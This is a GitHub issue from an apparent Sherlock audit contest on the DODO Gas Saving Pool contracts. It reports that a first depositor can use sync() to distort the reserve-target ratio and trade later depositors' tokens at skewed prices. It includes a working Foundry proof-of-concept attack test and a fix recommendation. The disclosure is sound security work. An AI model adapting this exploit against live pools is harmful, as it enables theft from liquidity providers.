Skip to content
This repository has been archived by the owner on Jun 30, 2024. It is now read-only.

hash - Initial depositor can alter the reserve-target ratio to trade subsequent depositors tokens at lower prices #132

Closed
sherlock-admin opened this issue Dec 24, 2023 · 0 comments
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Medium A valid Medium severity issue Reward A payout will be made for this issue

Comments

@sherlock-admin
Copy link
Contributor

sherlock-admin commented Dec 24, 2023

hash

high

Initial depositor can alter the reserve-target ratio to trade subsequent depositors tokens at lower prices

Summary

First depositor increasing the reserve/target ratio using sync() allows trading a token at a higher price than actual. This can be used to trade the second depositors asset's at a lower price.

Vulnerability Detail

When r_state is above_one, the next base target calculation involves the current quote token delta (current quote reserve - current quote target). The base target is calculated such that it will be reached when the enitre current quote delta is bought. Till this new base target is reached, the price of the base token will be higher than the fair price i. Vice versa is true when r_state is below_one.

    function adjustedTarget(PMMState memory state) internal pure {
        ....
        } else if (state.R == RState.ABOVE_ONE) {
            state.B0 = DODOMath._SolveQuadraticFunctionForTarget(
                state.B,
                state.Q - state.Q0,
                DecimalMath.reciprocalFloor(state.i),
                state.K
            );
        }
    }

The initial depositor can inflate the value of a share without any value loss by donating token amounts and calling the sync function. This also doesn't change the Target values.

    function _sync() internal {

        uint256 baseBalance = _BASE_TOKEN_.balanceOf(address(this)) - uint256(_MT_FEE_BASE_);
        uint256 quoteBalance = _QUOTE_TOKEN_.balanceOf(address(this)) - uint256(_MT_FEE_QUOTE_);
    
        .....
    
        if (baseBalance != _BASE_RESERVE_) {
            _BASE_RESERVE_ = uint112(baseBalance);
        }
        if (quoteBalance != _QUOTE_RESERVE_) {
            _QUOTE_RESERVE_ = uint112(quoteBalance);
        }
        
        .....
    }

Following the second user's deposit (in correct ratio ie. fair price ratio), the initial depositor can perform the following steps to sell base token at a higher price(vice versa for quote token):

  1. Sell 0 amount of quote token. This will make r_state == above_one
  2. Next sell base. For this sell, the quadratic target calculation of base target will use (quote reserve - quote target == quote reserve) as delta. This will cause the ratio of (base target / base reserve) to be bigger than actual.

Amount earnable couldn't be quantified due to time constraint but increases with k. With k == 0.0005 (used in test file), sell price in obtained was 1.0005 (fair price == 1) and with k == 0.05 it increased to 1.05

POC Code

Add the following test to test/GPSTrader.t.sol after importing DODOMath and run forge test --mt testHash_reserveTargetRatioIncrease

    import {DODOMath} from "../contracts/lib/DODOMath.sol";

    function testHash_reserveTargetRatioIncrease() public {
        GSP gspTest = new GSP();
        gspTest.init(
            MAINTAINER,
            address(mockBaseToken),
            address(mockQuoteToken),
            0,
            0,
            1e18,
            500000000000000,
            false
        );
        
        address attacker = address(123);
        mockBaseToken.mint(attacker,type(uint).max);
        mockQuoteToken.mint(attacker,type(uint).max);

        vm.startPrank(attacker);
        mockBaseToken.transfer(address(gspTest), 2000);
        mockQuoteToken.transfer(address(gspTest), 2000);

        // mint low amount of shares
        gspTest.buyShares(attacker);
        mockBaseToken.transfer(address(gspTest), 1e18 - 2000);
        mockQuoteToken.transfer(address(gspTest), 1e18 -2000);
        gspTest.sync();
        
        vm.stopPrank();

        // now reserve to target ratio is 5e14
        // next buy shares of user will keep this ratio

        address user = address(1234);
        mockBaseToken.mint(user,type(uint).max);
        mockQuoteToken.mint(user,type(uint).max);

        vm.startPrank(user);
        mockBaseToken.transfer(address(gspTest), 1e18);
        mockQuoteToken.transfer(address(gspTest), 1e18);

        gspTest.buyShares(user);
        
        vm.stopPrank();
        assert(gspTest._QUOTE_TARGET_() == 4000);
        assert(gspTest._BASE_TARGET_() == 4000);

        // now the attacker can make use of the large (reserve - target) to trade at a higher price
        vm.startPrank(attacker);

        // first call sellquotetoken to make r above one
        gspTest.sellQuote(attacker);
        // the calculated base target will be higher as the required amount to reach equillibrium for quote asset is 2e18 - 4000. Hence the attacker can sellBase at a price > 1 and obtain 2e18-4000 quoteTokens
        address receiver = address(12345);
        uint newTargetBaseAmount = DODOMath._SolveQuadraticFunctionForTarget(2e18,2e18 - 4000,1e18,
            500000000000000);
        uint sellAmount = newTargetBaseAmount - 2e18;
        mockBaseToken.transfer(address(gspTest),sellAmount);
        uint receivedAmount = gspTest.sellBase(receiver);
        
        uint sellPrice  = receivedAmount * 1e18 / sellAmount;
        assert(sellPrice > 1e18); // (1000499750249688627 ie. 1.0005)
    }

Impact

First depositor can trade at an higher price at loss for second / subsequent LP's.

Code Snippet

sync function callable by first depositor to increase share price
https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/af43d39f6a89e5084843e196fc0185abffe6304d/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPVault.sol#L118-L132

next depositor is minted higher valued share(hence low amount) and scales the target by the same amount
https://github.com/sherlock-audit/2023-12-dodo-gsp/blob/af43d39f6a89e5084843e196fc0185abffe6304d/dodo-gassaving-pool/contracts/GasSavingPool/impl/GSPFunding.sol#L67-L75

Tool used

Manual Review

Recommendation

Allow the depositor to provide a minShares amount either in this contract or in router. This way the share value manipulation can be identified.

Duplicate of #55

@sherlock-admin sherlock-admin changed the title Oblong Holographic Mallard - User can lose fund when trying to call sellShares() Upbeat Lava Tortoise - Initial depositor can alter the reserve-target ratio to trade subsequent depositors tokens at lower prices Dec 28, 2023
@github-actions github-actions bot closed this as completed Jan 2, 2024
@github-actions github-actions bot added High A valid High severity issue Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label labels Jan 2, 2024
@sherlock-admin2 sherlock-admin2 changed the title Upbeat Lava Tortoise - Initial depositor can alter the reserve-target ratio to trade subsequent depositors tokens at lower prices hash - Initial depositor can alter the reserve-target ratio to trade subsequent depositors tokens at lower prices Jan 12, 2024
@sherlock-admin2 sherlock-admin2 added the Reward A payout will be made for this issue label Jan 12, 2024
@Czar102 Czar102 added Medium A valid Medium severity issue and removed High A valid High severity issue labels Jan 22, 2024
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Medium A valid Medium severity issue Reward A payout will be made for this issue
Projects
None yet
Development

No branches or pull requests

3 participants